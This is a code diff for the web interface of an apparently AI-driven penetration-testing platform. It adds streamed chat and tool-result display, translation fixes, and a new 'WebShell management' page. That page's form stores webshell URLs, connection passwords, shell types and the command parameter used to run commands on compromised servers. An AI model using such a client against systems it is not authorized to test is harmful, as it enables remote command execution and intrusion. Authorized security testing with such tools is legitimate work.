const statusIcon = success ? '✅' : '❌';
const resultToolCallId = resultInfo.toolCallId || null;
const resultExecText = success ? (typeof window.t === 'function' ? window.t('chat.toolExecComplete', { name: escapeHtml(resultToolName) }) : '工具 ' + escapeHtml(resultToolName) + ' 执行完成') : (typeof window.t === 'function' ? window.t('chat.toolExecFailed', { name: escapeHtml(resultToolName) }) : '工具 ' + escapeHtml(resultToolName) + ' 执行失败');
// 若此 tool 已经流式推送过增量,则复用占位条目并更新最终结果,避免重复添加一条
if (resultToolCallId) {
const key = toolResultStreamKey(progressId, resultToolCallId);
const state = toolResultStreamStateByKey.get(key);
if (state && state.itemId) {
const item = document.getElementById(state.itemId);
if (item) {
const pre = item.querySelector('pre.tool-result');
const resultVal = resultInfo.result || resultInfo.error || '';
if (pre) pre.textContent = typeof resultVal === 'string' ? resultVal : JSON.stringify(resultVal);
const section = item.querySelector('.tool-result-section');
if (section) {
section.className = 'tool-result-section ' + (success ? 'success' : 'error');
}
const titleEl = item.querySelector('.timeline-item-title');
if (titleEl) {
titleEl.textContent = statusIcon + ' ' + resultExecText;
}
}
toolResultStreamStateByKey.delete(key);
// 同时更新 tool_call 的状态
if (resultToolCallId && toolCallStatusMap.has(resultToolCallId)) {
updateToolCallStatus(resultToolCallId, success ? 'completed' : 'failed');
toolCallStatusMap.delete(resultToolCallId);
}
break;
}
}
if (resultToolCallId && toolCallStatusMap.has(resultToolCallId)) {
updateToolCallStatus(resultToolCallId, success ? 'completed' : 'failed');
toolCallStatusMap.delete(resultToolCallId);
@@ -679,47 +904,108 @@ function handleStreamEvent(event, progressElement, progressId,
loadActiveTasks();
break;
case 'response':
// 在更新之前,先获取任务对应的原始对话ID
case 'response_start': {
const responseTaskState = progressTaskState.get(progressId);
const responseOriginalConversationId = responseTaskState?.conversationId;
// 先添加助手回复
const responseData = event.data || {};
const mcpIds = responseData.mcpExecutionIds || [];
setMcpIds(mcpIds);
// 更新对话ID
if (responseData.conversationId) {
// 如果用户已经开始了新对话(currentConversationId 为 null),
// 且这个 response 事件来自旧对话,就不更新 currentConversationId 也不添加消息
// 如果用户已经开始了新对话(currentConversationId 为 null),且这个事件来自旧对话,则忽略
if (currentConversationId === null && responseOriginalConversationId !== null) {
// 用户已经开始了新对话,忽略旧对话的 response 事件
// 但仍然更新任务状态,以便正确显示任务信息
updateProgressConversation(progressId, responseData.conversationId);
break;
}
currentConversationId = responseData.conversationId;
updateActiveConversation();
addAttackChainButton(currentConversationId);
updateProgressConversation(progressId, responseData.conversationId);
loadActiveTasks();
}
// 添加助手回复,并传入进度ID以便集成详情
const assistantId = addMessage('assistant', event.message, mcpIds, progressId);
// 已存在则复用;否则创建空助手消息占位,用于增量追加
const existing = responseStreamStateByProgressId.get(progressId);
if (existing && existing.assistantId) break;
const assistantId = addMessage('assistant', '', mcpIds, progressId);
setAssistantId(assistantId);
// 将进度详情集成到工具调用区域
integrateProgressToMCPSection(progressId, assistantId);
// 延迟自动折叠详情(3秒后)
responseStreamStateByProgressId.set(progressId, { assistantId, buffer: '' });
break;
}
case 'response_delta': {
const responseData = event.data || {};
const responseTaskState = progressTaskState.get(progressId);
const responseOriginalConversationId = responseTaskState?.conversationId;
if (responseData.conversationId) {
if (currentConversationId === null && responseOriginalConversationId !== null) {
updateProgressConversation(progressId, responseData.conversationId);
break;
}
}
let state = responseStreamStateByProgressId.get(progressId);
if (!state || !state.assistantId) {
const mcpIds = responseData.mcpExecutionIds || [];
const assistantId = addMessage('assistant', '', mcpIds, progressId);
setAssistantId(assistantId);
state = { assistantId, buffer: '' };
responseStreamStateByProgressId.set(progressId, state);
}
state.buffer += (event.message || '');
updateAssistantBubbleContent(state.assistantId, state.buffer, false);
break;
}
case 'response':
// 在更新之前,先获取任务对应的原始对话ID
const responseTaskState = progressTaskState.get(progressId);
const responseOriginalConversationId = responseTaskState?.conversationId;
// 先更新 mcp ids
const responseData = event.data || {};
const mcpIds = responseData.mcpExecutionIds || [];
setMcpIds(mcpIds);
// 更新对话ID
if (responseData.conversationId) {
if (currentConversationId === null && responseOriginalConversationId !== null) {
updateProgressConversation(progressId, responseData.conversationId);
break;
}
currentConversationId = responseData.conversationId;
updateActiveConversation();
addAttackChainButton(currentConversationId);
updateProgressConversation(progressId, responseData.conversationId);
loadActiveTasks();
}
// 如果之前已经在 response_start/response_delta 阶段创建过占位,则复用该消息更新最终内容
const streamState = responseStreamStateByProgressId.get(progressId);
const existingAssistantId = streamState?.assistantId || getAssistantId();
let assistantIdFinal = existingAssistantId;
if (!assistantIdFinal) {
assistantIdFinal = addMessage('assistant', event.message, mcpIds, progressId);
setAssistantId(assistantIdFinal);
} else {
setAssistantId(assistantIdFinal);
updateAssistantBubbleContent(assistantIdFinal, event.message, true);
}
// 将进度详情集成到工具调用区域(放在最终 response 之后,保证时间线已完整)
integrateProgressToMCPSection(progressId, assistantIdFinal);
responseStreamStateByProgressId.delete(progressId);
setTimeout(() => {
collapseAllProgressDetails(assistantId, progressId);
collapseAllProgressDetails(assistantIdFinal, progressId);
}, 3000);
// 延迟刷新对话列表,确保助手消息已保存,updated_at已更新
setTimeout(() => {
loadConversations();
}, 200);
@@ -798,6 +1084,16 @@ function handleStreamEvent(event, progressElement, progressId,
break;
case 'done':
// 清理流式输出状态
responseStreamStateByProgressId.delete(progressId);
thinkingStreamStateByProgressId.delete(progressId);
// 清理工具流式输出占位
const prefix = String(progressId) + '::';
for (const key of Array.from(toolResultStreamStateByKey.keys())) {
if (String(key).startsWith(prefix)) {
toolResultStreamStateByKey.delete(key);
}
}
// 完成,更新进度标题(如果进度消息还存在)
const doneTitle = document.querySelector(`#${progressId} .progress-title`);
if (doneTitle) {
@@ -896,17 +1192,28 @@ function addTimelineItem(timeline, type, options) {
item.className = `timeline-item timeline-item-${type}`;
// 记录类型与参数,便于 languagechange 时刷新标题文案
item.dataset.timelineType = type;
if (type === 'iteration' && options.iterationN != null) {
item.dataset.iterationN = String(options.iterationN);
if (type === 'iteration') {
const n = options.iterationN != null ? options.iterationN : (options.data && options.data.iteration != null ? options.data.iteration : 1);
item.dataset.iterationN = String(n);
}
if (type === 'progress' && options.message) {
item.dataset.progressMessage = options.message;
}
if (type === 'tool_calls_detected' && options.data && options.data.count != null) {
item.dataset.toolCallsCount = String(options.data.count);
}
// 保存事件时间 ISO,语言切换时可重算时间格式
try {
item.dataset.createdAtIso = eventTime.toISOString();
} catch (e) { /* ignore */ }
if (type === 'tool_call' && options.data) {
const d = options.data;
item.dataset.toolName = (d.toolName != null && d.toolName !== '') ? String(d.toolName) : '';
item.dataset.toolIndex = (d.index != null) ? String(d.index) : '0';
item.dataset.toolTotal = (d.total != null) ? String(d.total) : '0';
}
if (type === 'tool_result' && options.data) {
const d = options.data;
item.dataset.toolName = (d.toolName != null && d.toolName !== '') ? String(d.toolName) : '';
item.dataset.toolSuccess = d.success !== false ? '1' : '0';
}
// 使用传入的createdAt时间,如果没有则使用当前时间(向后兼容)
let eventTime;
if (options.createdAt) {
@@ -925,7 +1232,11 @@ function addTimelineItem(timeline, type, options) {
} else {
eventTime = new Date();
}
// 保存事件时间 ISO,语言切换时可重算时间格式
try {
item.dataset.createdAtIso = eventTime.toISOString();
} catch (e) { /* ignore */ }
const timeLocale = getCurrentTimeLocale();
const timeOpts = getTimeFormatOptions();
const time = eventTime.toLocaleTimeString(timeLocale, timeOpts);
@@ -948,7 +1259,7 @@ function addTimelineItem(timeline, type, options) {
<div class="timeline-item-content">
<div class="tool-details">
<div class="tool-arg-section">
<strong>${escapeHtml(paramsLabel)}</strong>
<strong data-i18n="timeline.params">${escapeHtml(paramsLabel)}</strong>
<pre class="tool-args">${escapeHtml(JSON.stringify(args, null, 2))}</pre>
</div>
</div>
@@ -965,9 +1276,9 @@ function addTimelineItem(timeline, type, options) {
content += `
<div class="timeline-item-content">
<div class="tool-result-section ${isError ? 'error' : 'success'}">
<strong>${escapeHtml(execResultLabel)}</strong>
<strong data-i18n="timeline.executionResult">${escapeHtml(execResultLabel)}</strong>
<pre class="tool-result">${escapeHtml(resultStr)}</pre>
${data.executionId ? `<div class="tool-execution-id">${escapeHtml(execIdLabel)} <code>${escapeHtml(data.executionId)}</code></div>` : ''}
${data.executionId ? `<div class="tool-execution-id"><span data-i18n="timeline.executionId">${escapeHtml(execIdLabel)}</span> <code>${escapeHtml(data.executionId)}</code></div>` : ''}
</div>
</div>
`;
@@ -1771,6 +2082,11 @@ function refreshProgressAndTimelineI18n() {
titleEl.textContent = '\uD83D\uDD0D ' + translateProgressMessage(raw);
}
});
// 转换后的详情区顶栏「渗透测试详情」:仅刷新不在 .progress-message 内的 progress 标题
document.querySelectorAll('.progress-container .progress-header .progress-title').forEach(function (titleEl) {
if (titleEl.closest('.progress-message')) return;
titleEl.textContent = '\uD83D\uDCCB ' + _t('chat.penetrationTestDetail');
});
// 时间线项:按类型重算标题,并重绘时间戳
document.querySelectorAll('.timeline-item').forEach(function (item) {
@@ -1786,6 +2102,20 @@ function refreshProgressAndTimelineI18n() {
} else if (type === 'tool_calls_detected' && item.dataset.toolCallsCount != null) {
const count = parseInt(item.dataset.toolCallsCount, 10) || 0;
titleSpan.textContent = '\uD83D\uDD27 ' + _t('chat.toolCallsDetected', { count: count });
} else if (type === 'tool_call' && (item.dataset.toolName !== undefined || item.dataset.toolIndex !== undefined)) {
const name = (item.dataset.toolName != null && item.dataset.toolName !== '') ? item.dataset.toolName : _t('chat.unknownTool');
const index = parseInt(item.dataset.toolIndex, 10) || 0;
const total = parseInt(item.dataset.toolTotal, 10) || 0;
titleSpan.textContent = '\uD83D\uDD27 ' + _t('chat.callTool', { name: name, index: index, total: total });
} else if (type === 'tool_result' && (item.dataset.toolName !== undefined || item.dataset.toolSuccess !== undefined)) {
const name = (item.dataset.toolName != null && item.dataset.toolName !== '') ? item.dataset.toolName : _t('chat.unknownTool');
const success = item.dataset.toolSuccess === '1';
const icon = success ? '\u2705 ' : '\u274C ';
titleSpan.textContent = icon + (success ? _t('chat.toolExecComplete', { name: name }) : _t('chat.toolExecFailed', { name: name }));
} else if (type === 'cancelled') {
titleSpan.textContent = '\u26D4 ' + _t('chat.taskCancelled');
} else if (type === 'progress' && item.dataset.progressMessage !== undefined) {
titleSpan.textContent = typeof window.translateProgressMessage === 'function' ? window.translateProgressMessage(item.dataset.progressMessage) : item.dataset.progressMessage;
}
if (timeSpan && item.dataset.createdAtIso) {
const d = new Date(item.dataset.createdAtIso);
+5 -1
View File
@@ -57,7 +57,11 @@ async function loadRoles() {
return roles;
} catch (error) {
console.error('加载角色失败:', error);
showNotification(_t('roles.loadFailed') + ': ' + error.message, 'error');
// 提示文案使用 i18n;若此时 i18n 尚未初始化,则回退为可读中文,而不是暴露 keyroles.loadFailed
var loadFailedLabel = (typeof window !== 'undefined' && typeof window.t === 'function')
? window.t('roles.loadFailed')
: '加载角色失败';
showNotification(loadFailedLabel + ': ' + error.message, 'error');
return [];
}
}
+8 -2
View File
@@ -8,7 +8,7 @@ function initRouter() {
if (hash) {
const hashParts = hash.split('?');
const pageId = hashParts[0];
if (pageId && ['dashboard', 'chat', 'info-collect', 'vulnerabilities', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'settings', 'tasks'].includes(pageId)) {
if (pageId && ['dashboard', 'chat', 'info-collect', 'vulnerabilities', 'webshell', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'settings', 'tasks'].includes(pageId)) {
switchPage(pageId);
// 如果是chat页面且带有conversation参数,加载对应对话
@@ -293,6 +293,12 @@ function initPage(pageId) {
initVulnerabilityPage();
}
break;
case 'webshell':
// 初始化 WebShell 管理页面
if (typeof initWebshellPage === 'function') {
initWebshellPage();
}
break;
case 'settings':
// 初始化设置页面(不需要加载工具列表)
if (typeof loadConfig === 'function') {
@@ -362,7 +368,7 @@ document.addEventListener('DOMContentLoaded', function() {
const hashParts = hash.split('?');
const pageId = hashParts[0];
if (pageId && ['chat', 'info-collect', 'tasks', 'vulnerabilities', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'settings'].includes(pageId)) {
if (pageId && ['chat', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'settings'].includes(pageId)) {
switchPage(pageId);
// 如果是chat页面且带有conversation参数,加载对应对话
File diff suppressed because it is too large Load Diff
+102 -1
View File
@@ -47,6 +47,12 @@
</svg>
<span data-i18n="header.apiDocs">API 文档</span>
</button>
<button class="openapi-doc-btn" onclick="window.open('https://github.com/Ed1s0nZ/CyberStrikeAI', '_blank')" data-i18n="header.github" data-i18n-attr="title" data-i18n-skip-text="true" title="GitHub">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path fill="currentColor" d="M12 2C6.48 2 2 6.58 2 12.26c0 4.55 2.87 8.4 6.84 9.77.5.1.68-.22.68-.48 0-.24-.01-.88-.01-1.73-2.78.61-3.37-1.35-3.37-1.35-.45-1.17-1.11-1.48-1.11-1.48-.91-.63.07-.62.07-.62 1 .07 1.53 1.06 1.53 1.06.9 1.55 2.36 1.1 2.94.84.09-.65.35-1.1.63-1.35-2.22-.26-4.56-1.13-4.56-5.04 0-1.11.39-2.01 1.03-2.72-.1-.26-.45-1.3.1-2.7 0 0 .84-.27 2.75 1.04.8-.23 1.65-.35 2.5-.35.85 0 1.7.12 2.5.35 1.9-1.31 2.74-1.04 2.74-1.04.56 1.4.2 2.44.1 2.7.64.71 1.03 1.61 1.03 2.72 0 3.92-2.34 4.78-4.57 5.03.36.32.68.94.68 1.9 0 1.38-.01 2.5-.01 2.84 0 .26.18.58.69.48 3.96-1.37 6.83-5.21 6.83-9.77C22 6.58 17.52 2 12 2z"/>
</svg>
<span data-i18n="header.github">GitHub</span>
</button>
<div class="lang-switcher">
<button class="btn-secondary lang-switcher-btn" onclick="toggleLangDropdown()" data-i18n="header.language" data-i18n-attr="title" data-i18n-skip-text="true" title="界面语言">
<span class="lang-switcher-icon">🌐</span>
@@ -135,6 +141,15 @@
<span data-i18n="nav.vulnerabilities">漏洞管理</span>
</div>
</div>
<div class="nav-item" data-page="webshell">
<div class="nav-item-content" data-title="WebShell管理" onclick="switchPage('webshell')" data-i18n="nav.webshell" data-i18n-attr="data-title" data-i18n-skip-text="true">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<polyline points="4 17 10 11 4 5"></polyline>
<line x1="12" y1="19" x2="20" y2="19"></line>
</svg>
<span data-i18n="nav.webshell">WebShell管理</span>
</div>
</div>
<div class="nav-item nav-item-has-submenu" data-page="mcp">
<div class="nav-item-content" data-title="MCP" onclick="toggleSubmenu('mcp')" data-i18n="nav.mcp" data-i18n-attr="data-title" data-i18n-skip-text="true">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
@@ -951,6 +966,40 @@
</div>
</div>
<!-- WebShell 管理页面 -->
<div id="page-webshell" class="page">
<div class="page-header">
<h2 data-i18n="webshell.title">WebShell 管理</h2>
<div class="page-header-actions">
<button class="btn-primary" onclick="showAddWebshellModal()" data-i18n="webshell.addConnection">添加连接</button>
</div>
</div>
<div class="page-content webshell-page-content">
<div class="webshell-layout">
<div id="webshell-sidebar" class="webshell-sidebar">
<div class="webshell-sidebar-header" data-i18n="webshell.connections">连接列表</div>
<div class="webshell-conn-search">
<input type="text"
id="webshell-conn-search"
class="form-control webshell-conn-search-input"
data-i18n="webshell.searchPlaceholder"
data-i18n-attr="placeholder"
placeholder="搜索连接..." />
</div>
<div id="webshell-list" class="webshell-list">
<div class="webshell-empty" data-i18n="webshell.noConnections">暂无连接,请点击「添加连接」</div>
</div>
</div>
<div id="webshell-resize-handle" class="webshell-resize-handle" title="拖拽调整宽度"></div>
<div class="webshell-main">
<div id="webshell-workspace" class="webshell-workspace">
<div class="webshell-workspace-placeholder" data-i18n="webshell.selectOrAdd">请从左侧选择连接,或添加新的 WebShell 连接</div>
</div>
</div>
</div>
</div>
</div>
<!-- 任务管理页面 -->
<div id="page-tasks" class="page">
<div class="page-header">
@@ -1126,7 +1175,7 @@
<input type="password" id="openai-api-key" data-i18n="settingsBasic.openaiApiKeyPlaceholder" data-i18n-attr="placeholder" placeholder="输入OpenAI API Key" required />
</div>
<div class="form-group">
<label for="openai-model" data-i18n="settingsBasic.model">模型 <span style="color: red;">*</span></label>
<label for="openai-model"><span data-i18n="settingsBasic.model">模型</span> <span style="color: red;">*</span></label>
<input type="text" id="openai-model" data-i18n="settingsBasic.modelPlaceholder" data-i18n-attr="placeholder" placeholder="gpt-4" required />
</div>
</div>
@@ -2096,6 +2145,57 @@ version: 1.0.0<br>
</div>
</div>
<!-- WebShell 添加连接模态框 -->
<div id="webshell-modal" class="modal">
<div class="modal-content" style="max-width: 560px;">
<div class="modal-header">
<h2 id="webshell-modal-title" data-i18n="webshell.addConnection">添加连接</h2>
<span class="modal-close" onclick="closeWebshellModal()">&times;</span>
</div>
<div class="modal-body">
<input type="hidden" id="webshell-edit-id" value="" />
<div class="form-group">
<label for="webshell-url"><span data-i18n="webshell.url">Shell 地址</span> <span style="color: red;">*</span></label>
<input type="text" id="webshell-url" data-i18n="webshell.urlPlaceholder" data-i18n-attr="placeholder" placeholder="http(s)://target.com/shell.php" />
</div>
<div class="form-group">
<label for="webshell-password" data-i18n="webshell.password">连接密码/密钥</label>
<input type="text" id="webshell-password" data-i18n="webshell.passwordPlaceholder" data-i18n-attr="placeholder" placeholder="如冰蝎/蚁剑的连接密码" />
</div>
<div class="form-group">
<label for="webshell-type" data-i18n="webshell.type">Shell 类型</label>
<select id="webshell-type">
<option value="php" data-i18n="webshell.typePhp">PHP</option>
<option value="asp" data-i18n="webshell.typeAsp">ASP</option>
<option value="aspx" data-i18n="webshell.typeAspx">ASPX</option>
<option value="jsp" data-i18n="webshell.typeJsp">JSP</option>
<option value="custom" data-i18n="webshell.typeCustom">自定义</option>
</select>
</div>
<div class="form-group">
<label for="webshell-method" data-i18n="webshell.method">请求方式</label>
<select id="webshell-method">
<option value="post" data-i18n="webshell.methodPost">POST</option>
<option value="get" data-i18n="webshell.methodGet">GET</option>
</select>
</div>
<div class="form-group">
<label for="webshell-cmd-param" data-i18n="webshell.cmdParam">命令参数名</label>
<input type="text" id="webshell-cmd-param" data-i18n="webshell.cmdParamPlaceholder" data-i18n-attr="placeholder" placeholder="不填默认为 cmd,如 xxx 则请求为 xxx=命令" />
</div>
<div class="form-group">
<label for="webshell-remark" data-i18n="webshell.remark">备注</label>
<input type="text" id="webshell-remark" data-i18n="webshell.remarkPlaceholder" data-i18n-attr="placeholder" placeholder="便于识别的备注名" />
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn-secondary" id="webshell-test-btn" onclick="testWebshellConnection()" data-i18n="webshell.testConnectivity">测试连通性</button>
<button class="btn-secondary" onclick="closeWebshellModal()" data-i18n="common.cancel">取消</button>
<button class="btn-primary" onclick="saveWebshellConnection()" data-i18n="common.save">保存</button>
</div>
</div>
</div>
<!-- 角色选择弹窗 -->
<div id="role-select-modal" class="modal">
<div class="modal-content role-select-modal-content">
@@ -2227,6 +2327,7 @@ version: 1.0.0<br>
<script src="/static/js/knowledge.js"></script>
<script src="/static/js/skills.js"></script>
<script src="/static/js/vulnerability.js?v=4"></script>
<script src="/static/js/webshell.js"></script>
<script src="/static/js/tasks.js"></script>
<script src="/static/js/roles.js"></script>
</body>